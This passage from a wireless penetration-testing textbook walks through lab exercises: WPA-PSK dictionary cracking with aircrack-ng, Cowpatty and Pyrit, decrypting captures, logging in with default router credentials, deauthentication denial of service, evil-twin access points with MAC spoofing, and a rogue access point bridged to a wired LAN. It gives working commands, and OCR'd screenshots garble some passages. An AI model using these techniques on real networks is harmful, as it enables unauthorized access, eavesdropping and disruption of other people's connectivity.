[root@kali:~]	ck / WPA Cracking Demo-0				
		102			
ease input, press Ctrl+Alt			1 🔞 🔍 🚍		3 8

7. We will now invoke the aircrack-ng utility with the pcap file as the input and a link to the dictionary file, as shown in the following screenshot. I have used nmap.lst, as shown in the terminal:



8. aircrack-ng uses the dictionary file to try various combinations of passphrases and tries to crack the key. If the passphrase is present in the dictionary file, it will eventually crack it and your screen will look similar to the one in the screenshot:



9. Please note that, as this is a dictionary attack, the prerequisite is that the passphrase must be present in the dictionary file you are supplying to <code>aircrack-ng</code>. If the passphrase is not present in the dictionary, the attack will fail!

What just happened?

We set up WPA-PSK on our access point with a common passphrase: abcdefgh. We then use a deauthentication attack to have legitimate clients reconnect to the access point. When we reconnect, we capture the four-way WPA handshake between the access point and the client.

As WPA-PSK is vulnerable to a dictionary attack, we feed the capture file that contains the WPA four-way handshake and a list of common passphrases (in the form of a wordlist) to Aircrack-ng. As the passphrase abcdefgh is present in the wordlist, Aircrack-ng is able to crack the WPA-PSK shared passphrase. It is very important to note again that, in WPA dictionary-based cracking, you are just as good as the dictionary you have. Thus, it is important to compile a large and elaborate dictionary before you begin. Though BackTrack ships with its own dictionary, it may be insufficient at times and might need more words, especially taking into account the localization factor.

Have a go hero – trying WPA-PSK cracking with Cowpatty

Cowpatty is a tool that can also crack a WPA-PSK passphrase using a dictionary attack. This tool is included with BackTrack. I leave it as an exercise for you to use Cowpatty to crack the WPA-PSK passphrase.

Also, set an uncommon passphrase that is not present in the dictionary and try the attack again. You will now be unsuccessful in cracking the passphrase with both Aircrack-ng and Cowpatty.

It is important to note that the same attack applies even to a WPA2 PSK network. I encourage you to verify this independently.

Speeding up WPA/WPA2 PSK cracking

As we have already seen in the previous section, if we have the correct passphrase in our dictionary, cracking WPA-Personal will work every time like a charm. So, why don't we just create a large elaborate dictionary of millions of common passwords and phrases people use? This would help us a lot and most of the time, we would end up cracking the passphrase. It all sounds great but we are missing one key component here— the time taken. One of the more CPU and time-consuming calculations is that of the Pre-Shared key using the PSK passphrase and the SSID through the PBKDF2. This function hashes the combination of both over 4,096 times before outputting the 256-bit Pre-Shared key. The next step in cracking involves using this key along with parameters in the four-way handshake and verifying against the MIC in the handshake. This step is computationally inexpensive. Also, the parameters will vary in the handshake every time and hence, this step cannot be precomputed. Thus, to speed up the cracking process, we need to make the calculation of the Pre-Shared key from the passphrase as fast as possible.

We can speed this up by precalculating the Pre-Shared Key, also called the **Pairwise Master Key** (**PMK**) in 802.11 standard parlance. It is important to note that, as the SSID is also used to calculate the PMK, with the same passphrase and with a different SSID, we will end up with a different PMK. Thus, the PMK depends on both the passphrase and the SSID.

In the next exercise, we will take a look at how to precalculate the PMK and use it for WPA/WPA2 PSK cracking.

Time for action – speeding up the cracking process

We can proceed with the following steps:

1. We can precalculate the PMK for a given SSID and wordlist using the genpmk tool with the following command:

```
genpmk -f <chosen wordlist>-d PMK-Wireless-Lab -s "Wireless Lab
```

This creates the PMK-Wireless-Lab file containing the pregenerated PMK:



2. We now create a WPA-PSK network with the passphrase abcdefgh (present in the dictionary we used) and capture a WPA-handshake for that network. We now use Cowpatty to crack the WPA passphrase, as shown in the following screenshot:



It takes approximately 7.18 seconds for ${\tt Cowpatty}$ to crack the key, using the precalculated PMKs.

3. We now use aircrack-ng with the same dictionary file, and the cracking process takes over 22 minutes. This shows how much we are gaining because of the precalculation.

- 4. In order to use these PMKs with aircrack-ng, we need to use a tool called airolib-ng. We will give it the options airolib-ng, PMK-Aircrack --import, and cowpatty PMK-Wireless-Lab, where PMK-Aircrack is the aircrack-ng compatible database to be created and PMK-Wireless-Lab is the genpmk compliant PMK database that we created previously.
- **5.** We now feed this database to aircrack-ng and the cracking process speeds up remarkably. We use the following command:

```
aircrack-ng -r PMK-Aircrack WPACrackingDemo2-01.cap
```

6. There are additional tools available on BackTrack such as Pyrit that can leverage multi CPU systems to speed up cracking. We give the pcap filename with the -r option and the genpmk compliant PMK file with the -i option. Even on the same system used with the previous tools, Pyrit takes around 3 seconds to crack the key, using the same PMK file created using genpmk.

What just happened?

We looked at various different tools and techniques to speed up WPA/WPA2-PSK cracking. The whole idea is to pre-calculate the PMK for a given SSID and a list of passphrases in our dictionary.

Decrypting WEP and WPA packets

In all the exercises we have done till now, we cracked the WEP and WPA keys using various techniques. What do we do with this information? The first step is to decrypt data packets we have captured using these keys.

In the next exercise, we will decrypt the WEP and WPA packets in the same trace file that we captured over the air, using the keys we cracked.

Time for action – decrypting WEP and WPA packets

We can proceed with the following steps:

 We will decrypt packets from the WEP capture file we created earlier: WEPCrackingDemo-01.cap. For this, we will use another tool in the Aircrack-ng suite called airdecap-ng. We will run the following command, as shown in the following screenshot, using the WEP key we cracked previously:

😣 🗩 🗉 🛛 Kali Linux 32-bit - VMware Player (Non-commercial use only) Applications Places 🔕 돈 Fri 26 Sep, 21:44 8 🗬 root root@kali: ~/WEPCrack File Edit View Search Terminal Tabs Help root@kali: ~/WEPCrack × root@kali: ~ × root@kali: ~/WEPCrack Li:~/WEPCrack# airdecap-ng -w abcdefabcdefabcdefabcdef12 WEPCrackingDemo-02.cap Total number of packets read Total number of WEP data packets Total number of WPA data packets 426553 258975 0 Number of plaintext data packets Number of decrypted WEP packets Number of corrupted WEP packets Number of decrypted WPA packets root@kali:~/WEPCrack# 254269 0 0 🗵 root@kali: ~/WEPCrack 🛛 🔄 [root@kali: ~/WEPCra.. ۶. To grab input, press Ctrl+G 🕮 😭 🛝 🚔 🚅 📓 🖓 🖏 🛍

airdecap-ng -w abcdefabcdefabcdefabcdef12 WEPCrackingDemo-02.cap

2. The decrypted files are stored in a file named WEPCrackingDemo-02-dec.cap. We use the tshark utility to view the first ten packets in the file. Please note that you may see something different based on what you captured:



3. WPA/WPA2 PSK will work in exactly the same way as with WEP, using the airdecap-ng utility, as shown in the following screenshot, with the following command:

airdecap-ng -p abdefg WPACrackingDemo-02.cap -e "Wireless Lab"

Chapter 4



What just happened?

We just saw how we can decrypt WEP and WPA/WPA2-PSK encrypted packets using Airdecap-ng. It is interesting to note that we can do the same using Wireshark. We would encourage you to explore how this can be done by consulting the Wireshark documentation.

Connecting to WEP and WPA networks

We can also connect to the authorized network after we have cracked the network key. This can come in handy during penetration testing. Logging onto the authorized network with the cracked key is the ultimate proof you can provide to your client that his network is insecure.



1. Use the iwconfig utility to connect to a WEP network, once you have the key. In a past exercise, we broke the WEP key—abcdefabcdefabcdefabcdef12:



What just happened?

We saw how to connect to a WEP network.

Time for action – connecting to a WPA network

We can proceed with the following steps:

1. In the case of WPA, the matter is a bit more complicated. The iwconfig utility cannot be used with WPA/WPA2 Personal and Enterprise, as it does not support it. We will use a new tool called WPA_supplicant for this lab. To use WPA_supplicant for a network, we will need to create a configuration file, as shown in the following screenshot. We will name this file wpa-supp.conf:

😣 🖱 🗊 Kali Linux 32-bit - VMware Player (Non-commercial use only)	
Applications Places ፪ > Fri 26 Sep, 21:51	. 😪 🔩 🕏 🚅 🗬 root
root@kali: ~	_ □ ×
File Edit View Search Terminal Help	
GNU nano 2.2.6 File: wpa-supp.conf	Modified
<pre># WPA-PSK/TKIP network={ ssid="Wireless Lab" key_mgmt=WPA-PSK proto=WPA pairwise=TKIP group=TKIP psk="abcdefgh" }</pre>	
	DIFERENCE OF THE STREET OF THE
^G Get Help	/ Page ^K Cut Text ^C Cur Pos : Page ^U UnCut Text ^T To Spell
S root@kali∵~ /WFPCra	
To release input, press Ctrl+Alt	

- 2. We will then invoke the WPA_supplicant utility with the following options: -D wext -i wlan0 -c wpa-supp.conf to connect to the WPA network we just cracked. Once the connection is successful, WPA_supplicant will give you the message: Connection to XXXX completed.
- **3.** For both the WEP and WPA networks, once you are connected, you can use dhcpclient to grab a DHCP address from the network by typing dhclient3 wlan0.
WLAN Encryption Flaws

What just happened?

The default Wi-Fi utility iwconfig cannot be used to connect to WPA/WPA2 networks. The de-facto tool for this is WPA_Supplicant. In this lab, we saw how we can use it to connect to a WPA network.

Pop quiz – WLAN encryption flaws

Q1. What packets are used for Packet Replay?

- 1. Deauthentication packet.
- 2. Associated packet.
- 3. Encrypted ARP packet.
- 4. None of the above.

Q2. When can WEP be cracked?

- 1. Always.
- 2. Only if a weak key/passphrase is chosen.
- 3. Under special circumstances only.
- 4. Only if the access point runs old software.
- Q3. When can WPA be cracked?
 - 1. Always.
 - 2. Only if a weak key/passphrase is chosen.
 - 3. If the client contains old firmware.
 - 4. Even with no client connected to the wireless network.

Summary

In this chapter, we learnt about WLAN encryption. WEP is flawed and no matter what the WEP key is, with enough data packet samples: it is always possible to crack WEP. WPA/WPA2 is cryptographically un-crackable currently; however, under special circumstances, such as when a weak passphrase is chosen in WPA/WPA2-PSK, it is possible to retrieve the passphrase using dictionary attacks.

In the next chapter, we will take a look at different attacks on the WLAN infrastructure, such as rogue access points, evil twins, bit-flipping attacks, and so on.

5 Attacks on the WLAN Infrastructure

"Thus, what is of supreme importance in war is to attack the enemy's strategy"

Sun Tzu, Art of War

In this chapter, we will attack the WLAN infrastructure's core! We will focus on how we can penetrate into the authorized network using various new attack vectors and lure authorized clients to connect to us, as an attacker.

The WLAN infrastructure is what provides wireless services to all the WLAN clients in a system. In this chapter, we will take a look at the various attacks that can be conducted against the infrastructure:

- Default accounts and credentials on the access point
- Denial of service attacks
- Evil twin and access point MAC spoofing
- Rogue access points

Default accounts and credentials on the access point

WLAN access points are the core building blocks of the infrastructure. Even though they play such an important role, they are sometimes the most neglected in terms of security. In this exercise, we will check whether the default passwords have been changed on the access point or not. Then, we will go on to verify that, even if the passwords have been changed, they are still easy to guess and crack using a dictionary-based attack.

Attacks on the WLAN Infrastructure

It is important to note that, as we move on to more advanced chapters, it will be assumed that you have gone through the previous chapters and are now familiar with the use of all the tools discussed there. This will allow us to build on that knowledge and try more complicated attacks!

Time for action – cracking default accounts on the access points

Follow these instructions to get started:

 Let's first connect to our access point Wireless Lab and attempt to navigate to the HTTP management interface. We see that the access point model is TP-Link WR841N, as shown in the following screenshot:

Authentication	Required	×
The server http://19 password. The serv WR841N.	02.168.1.1:80 requires a username and er says: TP-LINK Wireless N Router	
User Name: Password:		
	Log In Cancel	

2. From the manufacturer's website, we find the default account credentials for admin are admin. We try this on the login page and we succeed in logging in. This shows how easy it is to break into accounts with default credentials. We highly encourage you to obtain the router's user manual online. This will allow you to understand what you are dealing with during the penetration test and gives you an insight into other configuration flaws you could check for:

Chapter 5

TP-LINK [®]			
Status			
Quick Setup Status			
WPS			
Network	Firmware Version:	3 14 4 Build 131129 Rel 39318n	
Wireless	lardware Version:	WP841N v0 0000000	
DHCP	laruware version.	WR8411 V9 0000000	
Forwarding			
Security LAN			
Parental Control	MAC Address:	E8-94-F6-62-1E-8E	
Access Control	IP Address:	192.168.1.1	
Advanced Routing	Subnet Mask:	255.255.255.0	
Bandwidth Control			
IP & MAC Binding Wireless			
System Tools			
	Wireless Radio:	Enable	
	Name (SSID):	TP-LINK_621E8E	
	Mode:	11bgn mixed	
	Channel Width:	Automatic	
	Channel:	Auto (Current channel 8)	
	MAC Address:	E8-94-F6-62-1E-8E	
	WDS Status:	Disable	
WAN			
	MAC Address:	E8-94-F6-62-1E-8F	
	IP Address:	192.168.0.13	Dynamic IP
	Subnet Mask:	255.255.255.0	

What just happened?

We verified that the default credentials were never changed on this access point, and this could lead to a full network compromise. Also, even if the default credentials are changed, the result should not be something that is easy to guess or run a simple dictionary-based attack on.

Have a go hero – cracking accounts using brute-force attacks

In the previous exercise, change the password to something that is hard to guess or find in a dictionary and see whether you can crack it using a brute-force approach. Limit the length and characters in the password so that you can succeed at some point. One of the most common tools used to crack HTTP authentication is called Hydra and is available on Kali. Attacks on the WLAN Infrastructure

Denial of service attacks

WLANs are prone to **Denial of Service (DoS)** attacks using various techniques, including but not limited to:

- deauthentication attack
- Disassociation attack
- CTS-RTS attack
- Signal interference or spectrum jamming attack

In the scope of this book, we will discuss deauthentication attacks on the Wireless LAN infrastructure using the following experiment:

Time for action – deauthentication DoS attacks

Follow these instructions to get started:

1. Let's configure the Wireless Lab network to use Open Authentication and no encryption. This will allow us to see the packets using Wireshark easily:

TP-LINK [®]				
Status	A			
Quick Setup	Wireless Security			
WPS				
Network	Disable Security			
Wireless				

2. Let's connect a Windows client to the access point. We will see the connection in the airodump-ng screen:

😣 🔵 💿 🛛 Kali Linux 32-bit - VMware	🗧 💿 Kali Linux 32-bit - VMware Player (Non-commercial use only)						
Applications Places 🧃 돈	Tue 7 Oct, 15:25	😪 🔩 ⊁ 📶 🗬 root					
	root@kali: ~	_ = ×					
Con File Edit View Sear	:h Terminal Help						
CH 11][Elapsed:	4 s][2014-10-07 15:25						
BSSID	PWR Beacons #Data, #/s CH MB	ENC CIPHER AUTH ESSID					
E8:94:F6:62:1E:8E 9C:D3:6D:2A:7B:C0	-51 0 0 0 6 54e. -72 1 6 0 11 54e	OPN Wireless Lab WPA2 CCMP PSK everythingwill					
BSSID	STATION PWR Rate Los	t Frames Probe					
E8:94:F6:62:1E:8E 9C:D3:6D:2A:7B:C0	80:1F:02:8F:34:D5 0 0 - 1 20:10:7A:45:36:61 -71 0 - 1e	0 24 Wireless Lab 0 6					
		le to hear.					
To release input, press Ctrl+Alt							

3. Now, on the attacker machine, let's run a directed deauthentication attack against this:



4. Note how the client gets disconnected from the access point completely. We can verify this on the airodump-ng screen as well:

😣 🗖 🗊 Ka	😣 🖱 🗉 Kali Linux 32-bit - VMware Player (Non-commercial use only)						
Application	s Places <u>§</u> 도		Tue 7 Oct, 15:29	🔒 🕠	🔰 🚽 🗣 root		
			root@kali: ~		- 🗆 ×		
Com	File Edit View Sea	ch Terminal Help)				
	CH 1][Elapsed:	4 s][2014-10-	-07 15:29				
	BSSID	PWR Beacons	#Data, #/s CH MB	ENC CIPHER AUT	H ESSID		
	00:0B:3B:7C:D0:8D	-95 2	0 0 6 54	WPA2 CCMP PSK	Downstairs		
	E8:94:F6:62:1E:8E 9C:D3:6D:2A:7B:C0	-49 2 -73 3	0 0 6 54e.	OPN WPA2_CCMPPSK	Wireless Lab everythingwill		
	RestD	STATION		t Eromon Drol	oo		
	82210	STATION	PWR Rate Los	st Frames Pro	be		
	9C:D3:6D:2A:7B:C0 9C:D3:6D:2A:7B:C0	20:10:7A:45:36 70:18:8B:08:47	6:61 -71 2e-5e 7:B6 -59 0e-0e	0 9 0 2			
		<u>[77</u>]		57			
🗵 root@k	kali: ~						
To release inp	out, press Ctrl+Alt				s 🔍 🖃 🛒 🚺 🐞 🖏 🗂 🚲		

5. If we use Wireshark to see the traffic, you will notice a lot of deauthentication packets over the air that we just sent:

Sile Edi	Capturin t View Go	g from mon Capture A	0 [Wiresha Analvze Stati	r <mark>k 1.10</mark> stics	0.6 (v1.10. Telephonv	6 from Tools	master-1.10)]		
00			<u> </u>	C	Q	< () J I T		.
Filter:						•	Expression Clea	ir Apply	y Save
No.	Time	Source			Destinati	ion	Protocol	Length	Info
27834	499.2383	3600 Tp-Lin	kT_62:1e:8e		Broadcast		802.11	52	Deauthenti
27835	499.2472	1100 Tp-Linl	kT_62:1e:8e		Broadcast		802.11	52	Deauthenti
27836	499.3000	9400 Tp-Linl	kT_62:1e:8e		Broadcast		802.11	52	Deauthenti
27837	499.3044	8706 Tp-Linl	KT_62:1e:8e		Broadcast		802.11	52	Deauthenti
27838	499.3168	7000 Netgea	r_2a:7b:c0		Broadcast		802.11	293	Beacon fra
27839	499.3170	3700 Netgea	r_40:c0:a7		Broadcast		802.11	124	Data, SN=1
27840	499.3700	0000 Tp-Linl	kT_62:1e:8e		Broadcast		802.11	52	Deauthenti
27841	499.3766	5700 Tp-Linl	kT_62:1e:8e		Broadcast		802.11	52	Deauthenti
27842	499.3965	9106 Tp-Linl	KT_62:1e:8e		Broadcast		802.11	52	Deauthenti
27843	499.4076	1706 Tp-Linl	kT_62:1e:8e		Broadcast		802.11	52	Deauthenti
27844	499.4192	7000 Netgea	r_2a:7b:c0		Broadcast		802.11	293	Beacon fra
27845	499.4530	2706 Tp-Linl	kT 62:1e:8e		Broadcast		802.11	52	Deauthenti
27846	499.4594	8706 Tp-Linl	kT_62:1e:8e		Broadcast		802.11	52	Deauthenti
27847	499.5216	9800 Netgea	r 2a:7b:c0		Broadcast		802.11	293	Beacon fra
27848	499.6241	0500 Netgea	r 2a:7b:c0		Broadcast		802.11	293	Beacon fra
0000 00	0 0 1 0 0	a of 49 00	00 bd 10 c	1 1h	20 00 00	00	/Ц		
0010 00	2 18 9e 00	9 21 48 00	00 00 00 8	0 00	2C 00 00	ff	,		
0020 f	f ff ff f	f 9c d3 6d	2a 7b c0 9	c d3	6d 2a 7b	c0	m* {m*{		
0030 40	9 ec 80 1	l c1 1b 2c	00 00 00 6	4 00	11 04 00	1f	@,d		
	non0: <live< td=""><td>capture in pr</td><td>ogress</td><td>Packe</td><td>ets: 27848 ·</td><td>Dis</td><td>Profile: Default</td><td></td><td></td></live<>	capture in pr	ogress	Packe	ets: 27848 ·	Dis	Profile: Default		

6. We can do the same attack by sending a Broadcast deauthentication packet on behalf of the access point to the entire wireless network. This will have the effect of disconnecting all connected clients:

Chapter 5

😣 🖨 💷 Kali Linux 32-bit - VMware R	Player (Non-commercial use only)		
Applications Places 👸 돈	Tue 7 Oct, 15:46	🙈 🔩	💡 🗬 root
	root@kali: ~		_ = ×
Com File Edit View Search	Terminal Tabs Help		
root@kali: ~	× root@kali: ~	× root@kali: ~	×
15:46:43 Waiting fo NB: this attack is m a connected wireless 15:46:50 Sending De 15:46:51 Sending De 15:46:55 Sending De 15:46:55 Sending De 15:46:55 Sending De 15:46:56 Sending De 15:46:56 Sending De	r beacon frame (BSSID: E8:94:F6: ore effective when targeting client (-c <client's mac="">). Auth to broadcast BSSID: [E8: Auth to broadcast BSSID: [E8: Auth to b</client's>	62:1E:8E) on channel -1 94:F6:62:1E:8E] 94:F6:62:1E:8E] 94:F6:62:1E:8E] 94:F6:62:1E:8E] 94:F6:62:1E:8E] 94:F6:62:1E:8E] 94:F6:62:1E:8E] 94:F6:62:1E:8E]	
🔄 root@kali: ~			
To release input, press Ctrl+Alt		🖾 🔓 🖏 🖨 I	🚅 🚺 🔂 📆 🔭 🐭

What just happened?

We successfully sent deauthentication frames to both the access point and the client. This resulted in them getting disconnected and a full loss of communication between them.

We also sent out Broadcast deauthentication packets, which will ensure that no client in the vicinity can successfully connect to our access point.

It is important to note that, as soon as the client is disconnected, it will try to connect back once again to the access point, and thus the deauthentication attack has to be carried out in a sustained way to have a full denial of service effect.

Attacks on the WLAN Infrastructure

This is one of the easiest attacks to orchestrate but has the most devastating effect. This can easily be used in the real world to bring a wireless network down on its knees.

Have a go hero – disassociation attacks

Try to check how you can conduct Dis-Association attacks against the infrastructure using tools available on Kali. Can you do a broadcast disassociation attack?

Evil twin and access point MAC spoofing

One of the most potent attacks on WLAN infrastructures is the evil twin. The idea is to basically introduce an attacker-controlled access point in the vicinity of the WLAN network. This access point will advertise the exact same SSID as the authorized WLAN network.

Many wireless users may accidently connect to this malicious access point, thinking it is part of the authorized network. Once a connection is established, the attacker can orchestrate a man-in-the-middle attack and transparently relay traffic while eavesdropping on the entire communication. We will take a look at how a man-in-the-middle attack is done in a later chapter. In the real world, an attacker would ideally use this attack close to the authorized network so that the user gets confused and accidently connects to the attacker's network.

An evil twin having the same MAC address as an authorized access point is even more difficult to detect and deter. This is where access point MAC Spoofing comes in! In the next experiment, we will take a look at how to create an evil twin, coupled with access point MAC spoofing.

Time for action – evil twins and MAC spoofing

Follow these instructions to get started:

1. Use airodump-ng to locate the access point's BSSID and ESSID, which we would like to emulate in the evil twin:

😣 🖨 🗊 – K	😣 🖱 🗉 Kali Linux 32-bit - VMware Player (Non-commercial use only)					
Applicatio	ns Places 🧃 돈	т	lue 7 Oct, 15:29	🔒 🕠 🎗 🚅 🗬 root		
			root@kali: ~	_ □ ×		
Com	File Edit View Sear	ch Terminal Help				
	CH 1][Elapsed:	4 s][2014-10-0	07 15:29			
	BSSID	PWR Beacons	#Data, #/s CH MB EN	C CIPHER AUTH ESSID		
	00:0B:3B:7C:D0:8D	-95 2	0 0 6 54 WP	A2 CCMP PSK Downstairs		
	9C:D3:6D:2A:7B:C0	-49 2 -73 3	11 0 11 54e WP	N WIRELESS LAD A2 CCMP PSK everythingwill		
	BSSID	STATION	PWR Rate Lost	Frames Probe		
	9C:D3:6D:2A:7B:C0 9C:D3:6D:2A:7B:C0	20:10:7A:45:36: 70:18:8B:08:47:	:61 -71 2e-5e 0 :B6 -59 0e-0e 0	9 2		
				hear.		
▶ root@)kali: ~					
to release in	iput, press Ctrl+Alt			🔛 💌 🔍 🔜 🌌 🔡 🔝 🚬		

Attacks on the WLAN Infrastructure

2. We connect a Wireless client to this access point:



3. Using this information, we create a new access point with the same ESSID but a different BSSID and MAC address using the airbase-ng command. Minor errors may occur with newer releases:



4. This new access point also shows up in the airodump-ng screen.. It is important to note that you will need to run airodump-ng in a new window with the following command:

airodump-ng --channel 11 wlan0

Let's see this new access point:

😣 🗖 🔳 Ka	😣 🖨 🗊 Kali Linux 32-bit - VMware Player (Non-commercial use only)					
Application	ns Places 🔕 돈	Tu	e 7 Oct, 15:49	· · · · · · · · · · · · · · · · · · ·	🔩 💲 🍣 🗬 root	
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		1 min 1[2014 10	07 15.40			
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	BSSID	PWR Beacons	#Data, #/s CH	MB ENC CIPHE	R AUTH ESSID	
	AA:AA:AA:AA:AA:AA	0 927	0 0 11	54 OPN	Wireless Lab	
	00:0B:3B:7C:D0:8D	-95 21	2 0 6	54e WPA2 CCMP 54 WPA2 CCMP	PSK everytningwill PSK Downstairs	
	00:22:B0:62:6D:08	-1 0	0 0 2	- 1	<length: 0=""></length:>	
	BSSID	STATION	PWR Rate	Lost Frames	Probe	
	(not associated)	80:1F:02:8F:34:D	5 0 0 - 1	0 176	Wireless Lab	
	(not associated)	00:BB:3A:64:81:4	0-93 0-1	. 0 4	Upstairs	
	9C:D3:6D:2A:7B:C0	00:26:5A:F0:04:D		3	everythingwillprobab	
	9C:D3:6D:2A:7B:C0 00:22:B0:62:6D:08	0C:77:1A:BB:39:E E0:CB:1D:6B:A4:2	D -79 0e-0 -81 0-2			
	00122180102108100	The quieter yo	u become, the more yo	ou are able to hear.		
🗵 root@	kali: ~					
To release in	put, press Ctrl+Alt				🔄 🔛 🐻 🖏 🚔 🛒 🚺 👘	

5. Now we send a deauthentication frame to the client, so it disconnects and immediately tries to reconnect:

😣 🗐 🗊 Kali Linux 32-bit	- VMware Player (Non-cor	nmercial use only)					
Applications Places	j >_	Tue 7 Oct, 15:46		8	₩	6.	🗬 root
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Con File Edit Vi	iew Search Terminal Ta	bs Help					
root@kali: ~	× r	oot@kali: ~	×	root@kal	i: ~		- ×
15:46:43 W NB: this at a connected 15:46:50 S 15:46:50 S 15:46:51 S 15:46:55 S 15:46:55 S 15:46:56 S 15:46:56 S	aiting for beacon fra tack is more effectiv wireless client (-c ending DeAuth to broa ending DeAuth to broa The qui	<pre>when targeting <client's mac="">). dcast BSSID: dcast BSSID: dcast BSSID: dcast BSSID: dcast BSSID: dcast BSSID: dcast BSSID: dcast BSSID: dcast BSSID:</client's></pre>	[E8:94:F6:6] [E8:94:F6:6]	hegdiv E) on ch 2:1E:8E] 2:1E:8E] 2:1E:8E] 2:1E:8E] 2:1E:8E] 2:1E:8E] 2:1E:8E]	annel -1		
🔄 root@kali: ~							
To release input, press Ctrl+	Alt				🔤 😭 🐀 🖨) 🖬 📓 🖥	b 🐻 🐑 👉

- **6.** As we are closer to this client, our signal strength is higher, and it connects to our evil twin access point.
- **7.** We can also spoof the BSSD and MAC address of the access point using the following command:

```
airbase-ng -a <router mac> --essid "Wireless Lab" -c 11 mon0
```

8. Now if we look at through airodump-ng, it is almost impossible to differentiate between both visually:

😣 🔿 💿 Kali Linux 32-bit - VMware Player (Non-commercial use only)					
Applications Places 🔞 돈	Tue 7 Oct, 15:55 🛛 😽	4 🙀 🔰 🚅 🗬 root			
	root@kali: ~	_ 🗆 ×			
Con File Edit View Sea	ch Terminal Tabs Help				
root@kali: ~	× root@kali: ~ × root(@kali: ~ ×			
CH 13][Elapsed:	6 mins][2014-10-07 15:55				
BSSID	PWR Beacons #Data, #/s CH MB ENC CI	IPHER AUTH ESSID			
E8:94:F6:62:1E:8E 00:22:B0:62:6D:08 9C:D3:6D:24:7B:CC 00:0B:3B:7C:D0:8D BSSID (not associated) 00:22:B0:62:6D:06 9C:D3:6D:2A:7B:CC 9C:D3:6D:2A:7B:CC 9C:D3:6D:2A:7B:CC	0 306 0 0 11 54 0PN -1 0 0 0 2 -1 -75 141 349 11 11 54e WPA2 CC -94 147 17 0 6 54 WPA2 CC STATION PWR Rate Lost Fra 80:1F:02:8F:34:D5 0 0 -1 0 78:E4:00:46:D9:86 -99 0 -1 0 70:18:8B:08:47:106 -53 00 -2 0 70:18:8B:08:47:166 -53 00 -0 -1 0 00:26:5A:F0:04:18 633 0 -11 0 0 20:10:7A:45:36:61 -73 1e 6e 20 0	Wireless Lab <length: 0=""> SMP PSK everythingwill SMP PSK Downstairs ames Probe 473 Wireless Lab 8 Upstairs 9 58 19 everythingwillprobab 28 everythingwillprobab 72</length:>			
⊡ root@kali: ~ To release input, press Ctrl+Alt					

9. Even airodump-ng is unable to discern that there are actually two different physical access points on the same channel. This is the most potent form of the evil twin.

What just happened?

We created an evil twin for the authorized network and used a deauthentication attack to have the legitimate client connect back to us, instead of the authorized network access point.

It is important to note that, in the case of the authorized access point using encryption such as WEP/WPA, it might be more difficult to conduct an attack in which traffic eavesdropping is possible. We will take a look at how to break the WEP key with just a client using the Caffe Latte attack in a later chapter.

Have a go hero – evil twins and channel hopping

In the previous exercise, run the evil twin on different channels and observe how the client, once disconnected, hops channels to connect to the access point. What is the deciding factor based on which the client decides which access point to connect to? Is it signal strength? Experiment and validate.

A rogue access point

A rogue access point is an unauthorized access point connected to the authorized network. Typically, this access point can be used as a backdoor entry by an attacker, thus enabling him to bypass all security controls on the network. This would mean that the firewalls, intrusion prevention systems, and so on, which guard the border of a network, would be able to do little to stop him from accessing the network.

In the most common case, a rogue access point is set to Open Authentication and no encryption. The rogue access point can be created in the following two ways:

- Installing an actual physical device on the authorized network as a rogue access point. (This is something I leave as an exercise to you.) Also, more than wireless security, this has to do with breaching the physical security of the authorized network.
- Creating a rogue access point in software and bridging it with the local authorized network Ethernet network. This will allow practically any laptop running on the authorized network to function as a rogue access point. We will look at this in the next experiment.

Attacks on the WLAN Infrastructure



Follow these instructions to get started:

 Let's first bring up our rogue access point using airbase-ng and give it the ESSID Rogue:



2. We now want to create a bridge between the Ethernet interface, which is part of the authorized network, and our rogue access point interface. To do this, we will first install bridge-utils files, create a bridge interface, and name it Wifi-Bridge. The following screenshot shows the required commands in action:

apt-ge	et	inst	all	bridge-utils
brctl	ac	ldbr	Wif	i-Bridge

Let's see the following output of the command:

😣 🖨 🗉 🛛 Kali Linux 32-bit - VMware Player (N	Non-commercial use only)				
Applications Places 🥰 돈	Tue 7 Oct, 15:59		ψ))	* 4	🗬 root
	root@kali: ~			-	□ ×
Con <u>Eile E</u> dit <u>V</u> iew <u>S</u> earch <u>T</u> ermin	nal Ta <u>b</u> s <u>H</u> elp				
root@kali: ~	× root@kali: ~				
<pre>root@kali:~# apt-get instal Reading package lists DC Building dependency tree Reading state information The following NEW packages bridge-utils 0 upgraded, 1 newly install Need to get 35.5 kB of arch After this operation, 145 k Get:1 http://http.kali.orgy Fetched 35.5 kB in 0s (57.3 Selecting previously unsele (Reading database 34430 Unpacking bridge-utils (from Processing triggers for mar Setting up bridge-utils (1. Error: Timeout was reached root@kali:~#</pre>	<pre>ll bridge-utils preDone will be installed: led, 0 to remove and 97 not u nives. kB of additional disk space w (kali/ kali/main bridge-utils 3 kB/s) acted package bridge-utils. 57 files and directories curr pm/bridge-utils_1.5-6_i38 n-db ifi-Bridge The quieter you become, the more you are </pre>	upgraded. will be use s i386 1.5 rently inst i6.deb) able to hear	d. 6 [35.5 alled.)	kB]	
🗵 root@kali: ~					
To release input, press Ctrl+Alt			2 (1)	1 🔍 🖨 🚅 📓 (o 🐻 🐑 🐰

3. We will then add both the Ethernet and the At 0 virtual interface created by Airbaseng to this bridge:

```
brctl addif Wifi-Bridge eth0
brctl addif Wifi-Bridge ath0
```

The screenshot of the command as follows:



4. We will then bring with these interfaces up to bring the bridge up with the following commands:

ifconfig eth0 0.0.0.0 up ifconfig ath0 0.0.0.0 up

The screenshot of the command as follows:



5. We will then enable IP forwarding in the kernel to ensure that packets are forwarded:

echo 1 > /proc/sys/net/ipv4/ip_forward

The screenshot of the command as follows:

😸 🚍 💷 Kali Linux 32-bit - VMware Player	(Non-commercial use only)		
Applications Places 🔕 돈	Tue 7 Oct, 16:01		🖇 📶 🔍 root
	root@kali: ~		×
File Edit View Search Terr	minal Tabs Help		
root@kali: ~	× root@kali: ~		×
<pre>root@kali:~# echo 1 > /pr</pre>	oc/sys/net/ipv4/ip_forward		
root@kali:~#			
		577	
▷ root@kali: ~ To rolease input, press Ctrl+Alt			

6. Brilliant! We are done. Now, any wireless client connecting to our rogue access point will have full access to the authorized network using the wireless-to-wired Wifi-Bridge we just built. We can verify this by connecting a client to the rogue access point. Once connected, if you are using Vista, your screen might look like the following:



7. Notice that it receives an IP address from the DHCP daemon running on the authorized LAN:

طِيلًا Wireless Network Conne	ction Status	23
Network Connection Detai	ls	×
Network Connection Details:		
Property	Value	
